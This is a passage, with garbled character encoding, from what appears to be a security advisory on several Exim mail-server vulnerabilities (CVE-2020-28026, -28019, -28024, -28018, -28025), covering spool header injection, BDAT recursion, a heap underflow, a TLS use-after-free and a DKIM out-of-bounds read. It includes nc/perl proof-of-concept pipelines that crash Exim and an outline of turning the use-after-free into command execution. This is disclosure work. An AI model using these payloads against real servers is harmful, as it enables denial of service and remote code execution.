\\u0026\\u0026 !isspace(*v))\\n    +  {\\n    +  \/* Take care to not stop at a space embedded in a quoted local-part *\/\\n    +\\n    +  if (*v == &#8216;\\&#8221;&#8216;) do v&#8211;; while (*v != &#8216;\\&#8221;&#8216; \\u0026\\u0026 v \\u003e smtp_cmd_data+1);\\n    +  v&#8211;;\\n    +  }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28026: Line truncation and injection in spool_read_header()\\n    ========================================================================\\n    \\n    spool_read_header() calls fgets() to read the lines from a spool header\\n    file into the 16KB big_buffer. The first section of spool_read_header()\\n    enlarges big_buffer dynamically if fgets() truncates a line (if a line\\n    is longer than 16KB):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     460   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;\\n     &#8230;\\n     462   while (  (len = Ustrlen(big_buffer)) == big_buffer_size-1\\n     463         \\u0026\\u0026 big_buffer[len-1] != &#8216;\\\\n&#8217;\\n     &#8230;\\n     468     buf = store_get_perm(big_buffer_size *= 2, FALSE);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Unfortunately, the second section of spool_read_header() does not\\n    enlarge big_buffer:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     756 for (recipients_count = 0; recipients_count \\u003c rcount; recipients_count++)\\n     &#8230;\\n     765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    If DSN (Delivery Status Notification) is enabled (it is disabled by\\n    default), an attacker can send a RCPT TO command with a long ORCPT=\\n    parameter that is written to the spool header file by\\n    spool_write_header():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    292 for (int i = 0; i \\u003c recipients_count; i++)\\n    293   {\\n    294   recipient_item *r = recipients_list + i;\\n    &#8230;\\n    302     uschar * errors_to = r-\\u003eerrors_to ? r-\\u003eerrors_to : US\\&#8221;\\&#8221;;\\n    &#8230;\\n    305     uschar * orcpt = r-\\u003eorcpt ? r-\\u003eorcpt : US\\&#8221;\\&#8221;;\\n    306 \\n    307     fprintf(fp, \\&#8221;%s %s %d,%d %s %d,%d#3\\\\n\\&#8221;, r-\\u003eaddress, orcpt, Ustrlen(orcpt),\\n    308       r-\\u003edsn_flags, errors_to, Ustrlen(errors_to), r-\\u003epno);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This long ORCPT= parameter truncates the recipient line (when read by\\n    fgets() in spool_read_header()) and injects the remainder of the line as\\n    a separate line, thereby emulating the &#8216;\\\\n&#8217; injection of CVE-2020-28015\\n    and CVE-2020-28021 (albeit in a weaker form).\\n    \\n    We have not tried to exploit this vulnerability; if exploitable, it\\n    would allow an unauthenticated remote attacker to execute arbitrary\\n    commands as root (if DSN is enabled).\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; Intuitively, it seems impossible to generate a recipient line longer\\n      than 16KB (big_buffer_size), because the Exim server reads our RCPT TO\\n      command into a 16KB buffer (smtp_cmd_buffer) that must also contain\\n      (besides our long ORCPT= parameter) \\&#8221;RCPT TO:\\&#8221;, \\&#8221;NOTIFY=DELAY\\&#8221;, and\\n      the recipient address.\\n    \\n    &#8211; We can, however, use the special recipient \\&#8221;postmaster\\&#8221;, which is\\n      automatically qualified (by appending Exim&#8217;s primary hostname) before\\n      it is written to the spool header file. This allows us to enlarge the\\n      recipient line, but is not sufficient to control the end of the\\n      truncated line (unless Exim&#8217;s primary hostname is longer than 24\\n      bytes, which is very unlikely).\\n    \\n    &#8211; But we can do better: we can use CVE-2020-28022 to read our ORCPT=\\n      parameter out of smtp_cmd_data&#8217;s bounds (from the end of the preceding\\n      smtp_cmd_buffer). This allows us to further enlarge the recipient line\\n      (by 10 bytes, because \\&#8221;postmaster\\&#8221; is now included in our ORCPT=), but\\n      is not sufficient to reliably control the end of the truncated line\\n      (unless Exim&#8217;s primary hostname is longer than 14 bytes, which is\\n      still very unlikely).\\n    \\n    &#8211; But we can do much better: we do not need postmaster&#8217;s automatic\\n      qualification anymore, because the recipient is now included in our\\n      ORCPT= parameter &#8212; the longer the recipient, the better. On Debian,\\n      the user \\&#8221;systemd-timesync\\&#8221; exists by default, and \\&#8221;localhost\\&#8221; is one\\n      of Exim&#8217;s local_domains: the recipient \\&#8221;systemd-timesync@localhost\\&#8221; is\\n      long enough to reliably control the end of the truncated recipient\\n      line, and allows us to read and write out of big_buffer&#8217;s bounds\\n      (lines 859 and 863, and beyond):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     840   else if (*p == &#8216;#&#8217;)\\n     &#8230;\\n     848     (void)sscanf(CS p+1, \\&#8221;%d\\&#8221;, \\u0026flags);\\n     849 \\n     850     if ((flags \\u0026 0x01) != 0)      \/* one_time data exists *\/\\n     851       {\\n     852       int len;\\n     853       while (isdigit(*(&#8211;p)) || *p == &#8216;,&#8217; || *p == &#8216;-&#8216;);\\n     854       (void)sscanf(CS p+1, \\&#8221;%d,%d\\&#8221;, \\u0026len, \\u0026pno);\\n     855       *p = 0;\\n     856       if (len \\u003e 0)\\n     857         {\\n     858         p -= len;\\n     859         errors_to = string_copy_taint(p, TRUE);\\n     860         }\\n     861       }\\n     862 \\n     863     *(&#8211;p) = 0;   \/* Terminate address *\/\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    For example, the following proof-of-concept accesses memory at 1MB below\\n    big_buffer:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    perl -e &#8216;print \\&#8221;NOOP\\&#8221;; print \\&#8221; \\&#8221; x (16384-9); print \\&#8221;ORCPT\\\\n\\&#8221;&#8216;;\\n    sleep 3;\\n    echo &#8216;RCPT TO:x\\&#8221;&#8216;;\\n    sleep 3;\\n    perl -e &#8216;print \\&#8221;RCPT TO:(\\\\\\&#8221;)systemd-timesync\\\\@localhost(\\&#8221;; print \\&#8221;A\\&#8221; x (16384-74); print \\&#8221;xxx1048576,-1#1x NOTIFY=DELAY\\\\n\\&#8221;&#8216;;\\n    sleep 3;\\n    echo &#8216;DATA&#8217;;\\n    sleep 3;\\n    echo &#8216;.&#8217;;\\n    sleep 10\\n    ) | nc -n -v 192.168.56.101 25\\n    \\n    Program received signal SIGSEGV, Segmentation fault.\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28019: Failure to reset function pointer after BDAT error\\n    ========================================================================\\n    \\n    To read SMTP commands and data from a client, Exim calls the function\\n    pointer receive_getc, which points to either smtp_getc() (a cleartext\\n    connection) or tls_getc() (an encrypted connection). If the client uses\\n    the BDAT command (instead of DATA) to send a mail, then Exim saves the\\n    current value of receive_getc to the function pointer lwr_receive_getc\\n    and sets receive_getc to the wrapper function bdat_getc():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    5242     case BDAT_CMD:\\n    &#8230;.\\n    5271       lwr_receive_getc = receive_getc;\\n    &#8230;.\\n    5275       receive_getc = bdat_getc;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Exim normally resets receive_getc to its original value\\n    (lwr_receive_getc) when the client ends its mail. Unfortunately, Exim\\n    fails to reset receive_getc in some cases; for example, if the mail is\\n    larger than message_size_limit (50MB by default). Consequently, Exim\\n    re-enters smtp_setup_msg() while receive_getc still points to\\n    bdat_getc(), and:\\n    \\n    &#8211; smtp_read_command() calls receive_getc and hence bdat_getc(), which\\n      also calls smtp_read_command(), which is not a re-entrant function and\\n      may have unintended consequences;\\n    \\n    &#8211; if the client issues another BDAT command, then receive_getc and\\n      lwr_receive_getc both point to bdat_getc(), which calls itself\\n      recursively and leads to stack exhaustion; for example:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    echo &#8216;RCPT TO:postmaster&#8217;;\\n    sleep 3;\\n    echo \\&#8221;BDAT $((52428800+100))\\&#8221;;\\n    perl -e &#8216;print \\&#8221;A\\&#8221; x (52428800+1)&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    echo &#8216;RCPT TO:postmaster&#8217;;\\n    sleep 3;\\n    echo &#8216;BDAT 8388608&#8217;\\n    ) | nc -n -v 192.168.56.101 25\\n    \\n    Program received signal SIGSEGV, Segmentation fault.\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability is very similar to CVE-2017-16944, discovered by Meh\\n    Chang in November 2017 (https:\/\/bugs.exim.org\/show_bug.cgi?id=2201).\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.88:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 7e3ce68e68ab9b8906a637d352993abf361554e2\\n    Date:   Wed Jul 13 21:28:18 2016 +0100\\n    &#8230;\\n    +      lwr_receive_getc = receive_getc;\\n    +      lwr_receive_ungetc = receive_ungetc;\\n    +      receive_getc = bdat_getc;\\n    +      receive_ungetc = bdat_ungetc;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28024: Heap buffer underflow in smtp_ungetc()\\n    ========================================================================\\n    \\n    Exim calls smtp_refill() to read input characters from an SMTP client\\n    into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual\\n    characters from smtp_inbuffer:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     501 static BOOL\\n     502 smtp_refill(unsigned lim)\\n     503 {\\n     &#8230;\\n     512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim));\\n     &#8230;\\n     515 if (rc \\u003c= 0)\\n     516   {\\n     &#8230;\\n     536   return FALSE;\\n     537   }\\n     &#8230;\\n     541 smtp_inend = smtp_inbuffer + rc;\\n     542 smtp_inptr = smtp_inbuffer;\\n     543 return TRUE;\\n     544 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     559 int\\n     560 smtp_getc(unsigned lim)\\n     561 {\\n     562 if (smtp_inptr \\u003e= smtp_inend)\\n     563   if (!smtp_refill(lim))\\n     564     return EOF;\\n     565 return *smtp_inptr++;\\n     566 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Exim implements an smtp_ungetc() function to push characters back into\\n    smtp_inbuffer (characters that were read from smtp_inbuffer by\\n    smtp_getc()):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     795 int\\n     796 smtp_ungetc(int ch)\\n     797 {\\n     798 *&#8211;smtp_inptr = ch;\\n     799 return ch;\\n     800 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Unfortunately, Exim also calls smtp_ungetc() to push back \\&#8221;characters\\&#8221;\\n    that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is\\n    used, EOD and ERR (-2 and -3). For example, in receive_msg():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1945   if (ch == &#8216;\\\\r&#8217;)\\n    1946     {\\n    1947     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);\\n    1948     if (ch == &#8216;\\\\n&#8217;)\\n    1949       {\\n    &#8230;.\\n    1952       }\\n    &#8230;.\\n    1957     ch = (receive_ungetc)(ch);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; at line 1947, receive_getc (smtp_getc()) can return EOF;\\n    \\n    &#8211; at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc());\\n    \\n    &#8211; at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to\\n      smtp_inbuffer, then it is decremented to smtp_inbuffer &#8211; 1, and EOF is\\n      written out of smtp_inbuffer&#8217;s bounds.\\n    \\n    To return EOF in receive_msg() while smtp_inptr is equal to\\n    smtp_inbuffer, we must initiate a TLS-encrypted connection:\\n    \\n    &#8211; either through TLS-on-connect (usually on port 465), which does not\\n      use smtp_inptr nor smtp_inbuffer;\\n    \\n    &#8211; or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the\\n      following code (if X_PIPE_CONNECT is enabled, the default since Exim\\n      4.94):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    5484       if (receive_smtp_buffered())\\n    5485         {\\n    5486         DEBUG(D_any)\\n    5487           debug_printf(\\&#8221;Non-empty input buffer after STARTTLS; naive attack?\\\\n\\&#8221;);\\n    5488         if (tls_in.active.sock \\u003c 0)\\n    5489           smtp_inend = smtp_inptr = smtp_inbuffer;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    In both cases:\\n    \\n    &#8211; first, we initiate a TLS-encrypted connection, which sets receive_getc\\n      and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is\\n      equal to smtp_inbuffer);\\n    \\n    &#8211; second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and\\n      enter receive_msg();\\n    \\n    &#8211; third, we send a bare &#8216;\\\\r&#8217; character and reach line 1945;\\n    \\n    &#8211; next, we terminate the TLS connection, which resets receive_getc and\\n      receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is\\n      still equal to smtp_inbuffer);\\n    \\n    &#8211; last, we close the underlying TCP connection, which returns EOF at\\n      line 1947 and writes EOF out of smtp_inbuffer&#8217;s bounds at line 1957\\n      (line 798 in smtp_ungetc()).\\n    \\n    We have not tried to exploit this vulnerability; if exploitable, it\\n    would allow an unauthenticated remote attacker to execute arbitrary\\n    commands as the \\&#8221;exim\\&#8221; user (if TLS and either TLS-on-connect or\\n    X_PIPE_CONNECT are enabled).\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28018: Use-after-free in tls-openssl.c\\n    ========================================================================\\n    \\n    If Exim is built with OpenSSL, and if STARTTLS is enabled, and if\\n    PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled\\n    (the default before Exim 4.94), then tls_write() in tls-openssl.c is\\n    vulnerable to a use-after-free.\\n    \\n    If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and\\n    RCPT TO commands (in tls-openssl.c):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    2909 int\\n    2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)\\n    2911 {\\n    &#8230;.\\n    2915 static gstring * server_corked = NULL;\\n    2916 gstring ** corkedp = ct_ctx\\n    2917   ? \\u0026((exim_openssl_client_tls_ctx *)ct_ctx)-\\u003ecorked : \\u0026server_corked;\\n    2918 gstring * corked = *corkedp;\\n    &#8230;.\\n    2933 if (!ct_ctx \\u0026\\u0026 (more || corked))\\n    2934   {\\n    &#8230;.\\n    2940   corked = string_catn(corked, buff, len);\\n    &#8230;.\\n    2946   if (more)\\n    2947     {\\n    2948     *corkedp = corked;\\n    2949     return len;\\n    2950     }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; at line 2910, ct_ctx is NULL, buff contains the SMTP response, and\\n      more is true;\\n    \\n    &#8211; at line 2940, a struct gstring (a \\&#8221;growable string\\&#8221;, mentioned in\\n      CVE-2020-28009) and its string buffer are allocated in POOL_MAIN\\n      memory:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     29 typedef struct gstring {\\n     30   int   size;           \/* Current capacity of string memory *\/\\n     31   int   ptr;            \/* Offset at which to append further chars *\/\\n     32   uschar * s;           \/* The string memory *\/\\n     33 } gstring;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; at line 2948, a pointer to the struct gstring is saved to a local\\n      static variable, server_corked.\\n    \\n    Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then\\n    store_reset() is called and frees all allocated POOL_MAIN memory, but\\n    server_corked is not reset to NULL: if tls_write() is called again, the\\n    struct gstring and its string buffer are used-after-free.\\n    \\n    Side note: another use-after-free, CVE-2017-16943, was discovered by Meh\\n    Chang in November 2017 (https:\/\/bugs.exim.org\/show_bug.cgi?id=2199).\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Exploitation\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    To reliably control this vulnerability, we must prevent Exim from\\n    calling tls_write() between our call to smtp_reset() and the actual\\n    use-after-free:\\n    \\n    &#8211; first, we send EHLO and STARTTLS (to initiate a TLS connection);\\n    \\n    &#8211; second, we send EHLO and \\&#8221;MAIL FROM:\\u003c\\u003e\\\\nNO\\&#8221; (to pipeline the first\\n      half of a NOOP command, and to buffer the response to our MAIL FROM\\n      command in tls_write());\\n    \\n    &#8211; third, we terminate the TLS connection (and fall back to cleartext)\\n      and send \\&#8221;OP\\\\n\\&#8221; (the second half of our pipelined NOOP command);\\n    \\n    &#8211; next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to\\n      re-initiate a TLS connection);\\n    \\n    &#8211; last, server_corked is used-after-free (in tls_write()) in response to\\n      any SMTP command that we send.\\n    \\n    This use-after-free of a struct gstring (server_corked) and its string\\n    buffer (server_corked-\\u003es) is the most powerful vulnerability in this\\n    advisory:\\n    \\n    1\/ We overwrite the string buffer (which is sent to us by tls_write())\\n    and transform this use-after-free into an information leak (we leak\\n    pointers to the heap).\\n    \\n    2\/ We overwrite the struct gstring (with an arbitrary string pointer and\\n    size) and transform the use-after-free into a read-what-where primitive:\\n    we read the heap until we locate Exim&#8217;s configuration.\\n    \\n    3\/ We overwrite the struct gstring (with an arbitrary string pointer)\\n    and transform the use-after-free into a write-what-where primitive: we\\n    overwrite Exim&#8217;s configuration with an arbitrary \\&#8221;${run{command}}\\&#8221; that\\n    is executed by expand_string() as the \\&#8221;exim\\&#8221; user (Digression 2).\\n    \\n    We use a few noteworthy tricks in our exploit:\\n    \\n    1\/ Information leak: To overwrite the string buffer without overwriting\\n    the struct gstring itself, we send several pipelined RCPT TO commands to\\n    re-allocate the string buffer (far away from the struct gstring), and\\n    overwrite it with header_line structures that contain pointers to the\\n    heap.\\n    \\n    2\/ Read-what-where: We overwrite the struct gstring with arbitrary\\n    binary data through the name=value parameter of a MAIL FROM command:\\n    \\n    &#8211; we overwrite the s member with a pointer to the memory that we want to\\n      read (a pointer to the heap);\\n    \\n    &#8211; we overwrite the ptr member with the number of bytes that we want to\\n      read;\\n    \\n    &#8211; we overwrite the size member with the same number as ptr to prevent\\n      string_catn() from writing to the memory that we want to read (at line\\n      2940 in tls_write()).\\n    \\n    3\/ Write-what-where: We overwrite the struct gstring with arbitrary\\n    binary data through the name=value parameter of a MAIL FROM command:\\n    \\n    &#8211; we overwrite the s member with a pointer to the memory that we want to\\n      overwrite (a pointer to Exim&#8217;s configuration);\\n    \\n    &#8211; we overwrite the ptr member with 0 and the size member with a large\\n      arbitrary number;\\n    \\n    &#8211; finally, we send a MAIL FROM command whose response overwrites Exim&#8217;s\\n      configuration with our arbitrary \\&#8221;${run{&#8230;}}\\&#8221; (which is eventually\\n      executed by expand_string()).\\n    \\n    Note: Debian&#8217;s Exim packages are built with GnuTLS, not OpenSSL; to\\n    rebuild them with OpenSSL, we followed the detailed instructions at\\n    https:\/\/gist.github.com\/ryancdotorg\/11025731.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.90:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a\\n    Date:   Fri May 19 22:55:25 2017 +0100\\n    &#8230;\\n    +static uschar * corked = NULL;\\n    +static int c_size = 0, c_len = 0;\\n    &#8230;\\n    +if (is_server \\u0026\\u0026 (more || corked))\\n    +  {\\n    +  corked = string_catn(corked, \\u0026c_size, \\u0026c_len, buff, len);\\n    +  if (more)\\n    +    return len;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()\\n    ========================================================================\\n    \\n    By default since Exim 4.70, receive_msg() calls\\n    dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail)\\n    signatures, which calls pdkim_feed_finish(), which calls\\n    pdkim_finish_bodyhash():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     788 static void\\n     789 pdkim_finish_bodyhash(pdkim_ctx * ctx)\\n     790 {\\n     &#8230;\\n     799 for (pdkim_signature * sig = ctx-\\u003esig; sig; sig = sig-\\u003enext)\\n     800   {\\n     &#8230;\\n     825     if (  sig-\\u003ebodyhash.data\\n     826        \\u0026\\u0026 memcmp(b-\\u003ebh.data, sig-\\u003ebodyhash.data, b-\\u003ebh.len) == 0)\\n     827       {\\n     &#8230;\\n     829       }\\n     830     else\\n     831       {\\n     &#8230;\\n     838       sig-\\u003everify_status     = PDKIM_VERIFY_FAIL;\\n     839       sig-\\u003everify_ext_status = PDKIM_VERIFY_FAIL_BODY;\\n     840       }\\n     841   }\\n     842 }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Unfortunately, at line 826, sig-\\u003ebodyhash.data is attacker-controlled\\n    